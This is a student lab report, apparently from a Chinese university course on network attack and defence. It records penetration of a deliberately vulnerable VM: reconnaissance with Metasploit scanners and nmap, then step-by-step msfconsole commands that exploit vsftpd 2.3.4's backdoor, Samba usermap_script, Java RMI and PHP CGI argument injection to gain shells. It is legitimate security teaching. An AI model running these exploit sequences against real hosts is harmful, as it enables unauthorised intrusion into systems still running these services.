20232421 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1.实践内容

  • 前期渗透

    • 主机发现(可用Aux中的arp_sweep,search一下就可以use)

    • 端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

    • 选做:也可以扫系统版本、漏洞等。

  • Vsftpd源码包后门漏洞(21端口)

  • SambaMS-RPC Shell命令注入漏洞(端口139)

  • Java RMI SERVER命令执行漏洞(1099端口)

  • PHP CGI参数执行注入漏洞(80端口)

2.实践过程

2.1 前期渗透

PRAT 0 主机发现

  • 靶机IP查询

    靶机msfadmin中输入命令ifconfig,查看靶机的IP地址用于后续扫描,本次实验靶机的IP地址为192.168.150.148/24

    3402e7ec071bd9eddeee96a7ce18ab83

  • kali虚拟机执行ARP扫描

    在kali虚拟机的msfconsole控制台(输入命令msfconsole即可打开)中,依次输入下方命令使用Aux中的arp_sweep进行主机发现:

    search arp_sweep
    # 搜索用于“主机发现” 的扫描模块arp_sweep
    use 0
    # 使用搜索到的第一个模块,此处为auxiliary/scanner/discovery/arp_sweep,就是此次实验(主机发现)想要的模块
    set RHOSTS 192.168.150.0/24 
    # 指定要探测的目标网段为192.168.150.0/24
    run
    # 运行配置好参数的arp_sweep模块(也可以用exploit)
    

    6818c2a907a6e3265351865da7a76c8e

分析结果可知,靶机(192.168.150.148)处于在线状态,且是一台VMware虚拟机(标识为VMware, Inc.)。

PART 1 端口扫描

  • 在kali虚拟机的msfconsole控制台(输入命令msfconsole即可打开)中,依次输入下方命令使用Aux中的portscan/tcp进行端口扫描:

    use auxiliary/scanner/portscan/tcp 
    # 加载Metasploit中的TCP端口扫描模块
    set RHOSTS 192.168.150.148
    # 指定端口扫描的单个目标主机IP为192.168.150.148
    set THREADS 10 
    # 设置扫描线程数为10,线程数越高扫描速度越快
    run
    # 运行已配置好目标IP和线程数的TCP端口扫描模块,开始探测目标主机开放的TCP端口(也可以用exploit)
    

    09faba492e891543b2313288a78197a5

    分析结果可知,通过 Metasploit 的 TCP 端口扫描模块,成功探测到192.168.150.148主机开放了多个常用服务端口。结合其他课程上学到的相关知识可以进行分析如下:

    • 192.168.150.148:21:21 端口是 FTP 服务的默认端口,说明主机可能开启了文件传输服务;

    • 192.168.150.148:22:22 端口是 SSH 服务的默认端口,通常用于远程登录;

    • 192.168.150.148:80:80 端口是 HTTP 服务的默认端口,说明主机可能运行了 Web 服务器;

    • 192.168.150.148:3306:3306 端口是 MySQL 数据库的默认端口,可能存在数据库服务。

PART 2 版本扫描

  • 在kali虚拟机中,通过以下命令使用nmap工具进行版本扫描:

    nmap -sV 192.168.150.148
    

    2c436908a8cc3b018331688c6d06744f

    分析结果可知,该Linux主机在线且开放20+端口,包含FTP(vsftpd 2.3.4)、SSH、HTTP(Apache 2.2.8)、MySQL(5.0.51a)等常用服务,还存在1524后门shell端口。

2.2 Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

  • 在kali虚拟机中通过命令nmap -p 21 192.168.150.148扫描靶机的21端口,确认其状态

    7d0a51a098de6b9f7f9e6cd779dff18a

  • 在kali虚拟机的msfconsole控制台(输入命令msfconsole即可打开)中,依次输入下方命令利用vsftpd 2.3.4版本后门漏洞:

    search vsftpd
    # 搜索vsftpd
    use exploit/unix/ftp/vsftpd_234_backdoor
    # 选择漏洞
    set RHOST 192.168.150.148
    # 设置靶机IP
    exploit
    # 开始攻击
    
  • 通过执行uname –a、 pwd、 id、whoami等命令验证后门漏洞利用成功

    7d253dad78aa735bfde71304fdfcadb2

2.3 SambaMS-RPC Shell命令注入漏洞(端口139)

漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

  • 在kali虚拟机中通过命令nmap -p 139 192.168.150.148扫描靶机的21端口,确认其状态

    24cf9bd73cf96113472b9273e9b3b029

  • 在kali虚拟机的msfconsole控制台(输入命令msfconsole即可打开)中,依次输入下方命令利用usermap_script漏洞:

    use exploit/multi/samba/usermap_script
    # 选择漏洞
    set RHOST 192.168.150.148
    # 设置靶机IP
    exploit
    # 开始攻击
    
  • 通过执行uname –a、 pwd、 id、whoami等命令验证后门漏洞利用成功

    429974126fe4a1219a48fc44e483c94f

2.4 Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

  • 在kali虚拟机中通过命令nmap -p 1099 192.168.150.148扫描靶机的21端口,确认其状态

    80df719e2b28650a0b319d2e8cd0ba10

  • 在kali虚拟机的msfconsole控制台(输入命令msfconsole即可打开)中,依次输入下方命令利用Java RMI SERVER命令执行漏洞:

    use exploit/multi/misc/java_rmi_server
    # 选择漏洞
    set RHOST 192.168.150.148
    # 设置靶机IP
    exploit
    # 开始攻击
    shell 
    # 进入meterpreter
    
  • 通过执行uname –a、 pwd、 id、whoami等命令验证后门漏洞利用成功

    ee68c9cbcc9b41e7b1bb27522a61a4fc

2.5 PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

  • 在kali虚拟机中通过命令nmap -p 80 192.168.150.148扫描靶机的21端口,确认其状态

    c88df2c483194345253629bf13ca0a4e

  • 在kali虚拟机的msfconsole控制台(输入命令msfconsole即可打开)中,依次输入下方命令利用 PHP CGI参数执行注入漏洞:

    msf > use exploit/multi/http/php_cgi_arg_injection
    # 选择漏洞
    set RHOST 192.168.150.148
    # 设置靶机IP
    exploit
    # 开始攻击
    
  • 通过执行uname –a、 pwd、 id、whoami等命令验证后门漏洞利用成功

    96510700b941118530cb769271cbba21

3.问题及解决方案

157dc70af2c7ba6535def26835257f11

  • 问题1:在2.4渗透成功之后我用右键粘贴命令uname -a,执行时报错。

  • 原因:渗透后的Shell/Meterpreter会话是纯字符交互环境,右键粘贴在Metasploit的会话中可能带入了 “不可见特殊字符”

  • 解决方案:后续直接手动输入命令即可成功

4.学习感悟、思考

  • 本次实验让我完整落地了渗透测试流程:从ARP扫描定位靶机、端口/版本扫描收集信息,到匹配vsftpd后门、Samba注入等漏洞模块完成利用,我真切体会到“信息收集是渗透核心前提”。实操过程中我发现右键粘贴在Shell会话中报错,让我意识到交互环境的特殊性;不同漏洞的权限差异(如vsftpd直接拿root、部分漏洞仅低权限),则让我理解了权限提升在实际渗透中的关键。但我也清楚,靶机漏洞是“刻意暴露”的,真实环境会面临防火墙拦截、服务加固等阻碍。这让我明白,攻防学习不能只停留在“用工具跑模块”,更要吃透漏洞原理与协议逻辑,才能应对复杂场景。

参考资料

posted @ 2025-11-23 21:35  20232421邓锴  阅读(24)  评论(0)    收藏  举报